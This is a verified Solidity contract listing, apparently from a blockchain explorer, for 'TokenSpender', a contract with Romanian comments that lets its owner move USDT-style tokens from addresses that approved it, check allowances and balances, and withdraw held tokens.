Contract Name:
TokenSpender
Contract Source Code:
<i class='far fa-question-circle text-muted ms-2' data-bs-trigger='hover' data-bs-toggle='tooltip' data-bs-html='true' data-bs-title='Click on the check box to select individual contract to compare. Only 1 contract can be selected from each side.'></i>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUSDT {
function transferFrom(address sender, address recipient, uint256 amount) external;
function transfer(address recipient, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
contract TokenSpender {
address public owner;
// Event pentru logging
event TokensTransferred(address token, address sender, address recipient, uint256 amount);
event TokensWithdrawn(address token, address to, uint256 amount);
event DebugOwner(address owner, address caller);
// Constructor: setează owner-ul
constructor() {
owner = msg.sender;
}
// Modifier pentru a limita accesul doar la owner
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
// Funcție pentru a face transferFrom – doar owner-ul poate apela
function transferTokens(
address token,
address sender,
address recipient,
uint256 amount
) external onlyOwner {
emit DebugOwner(owner, msg.sender);
// Verificăm allowance-ul înainte de transfer
uint256 currentAllowance = IUSDT(token).allowance(sender, address(this));
require(currentAllowance >= amount, "Insufficient allowance");
// Pentru USDT, nu verificăm valoarea returnată
try IUSDT(token).transferFrom(sender, recipient, amount) {
emit TokensTransferred(token, sender, recipient, amount);
} catch {
revert("USDT transfer failed");
}
}
// Funcție pentru a verifica allowance-ul
function getAllowance(
address token,
address ownerAddr,
address spender
) external view returns (uint256) {
return IUSDT(token).allowance(ownerAddr, spender);
}
// Funcție pentru a verifica soldul
function getBalance(address token, address account) external view returns (uint256) {
return IUSDT(token).balanceOf(account);
}
// Funcție pentru a retrage tokeni blocate (doar owner)
function withdrawTokens(address token, address to, uint256 amount) external onlyOwner {
try IUSDT(token).transfer(to, amount) {
emit TokensWithdrawn(token, to, amount);
} catch {
revert("Token withdraw failed");
}
}
}